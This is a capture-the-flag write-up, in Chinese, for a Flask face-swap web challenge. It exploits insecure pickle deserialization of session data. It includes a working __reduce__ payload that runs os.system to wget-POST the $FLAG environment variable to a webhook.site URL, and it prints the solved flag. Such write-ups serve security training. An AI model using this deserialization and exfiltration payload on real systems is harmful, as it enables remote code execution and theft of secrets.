# 12004-fukuwarai > http://ctf.adl.tw:12004/ ## Briefing 酷!換臉 web app ![](https://i.imgur.com/gutR3o1.png) ## Exploit 網站給了 sauce code,並提示我們 FLAG 在環境變數裡面 ![](https://i.imgur.com/hKqB1i5.png) 看起來是使用 Flask 做後端,redis, flask_session 存使用者資料、pickle 把資料捲成一坨。 經通靈後,發現 pickle 有[任意執行漏洞](https://ithelp.ithome.com.tw/articles/10281368): ```python import pickle import os class HelloFooHow(object): def __reduce__(self): return os.system,("echo hello foohow",) a = pickle.dumps(HelloFooHow()) pickle.loads(a) # 會印出 hello foohow ``` 檢查網站內有用到 `pickle.loads` 的地方 ![](https://i.imgur.com/Wm89lLM.png) 讚!他雖然有做資料檢查,但是是在 pickle 解析資料以後。我們現在只需要把壞壞的東西(字串)放到 JSON 的 `layout` 底下就行! 這裡我們讓遠端機器把 flag 直接 POST 到遠端機器上 https://webhook.site/ ```python! class Tmp(): def __reduce__(self): return (os.system, ("wget --post-data \"flag is $FLAG\" https://webhook.site/87d30580-8785-4236-b1ef-24ed29e77b70",)) ``` ![](https://i.imgur.com/0HbIV0q.png) > flag: `ADL{5hi4W45e_n0_5UP4ir4Ru|https://youtu.be/BVvcQ4ge8Ow}` ![](https://i.imgur.com/y8S3BtY.gif)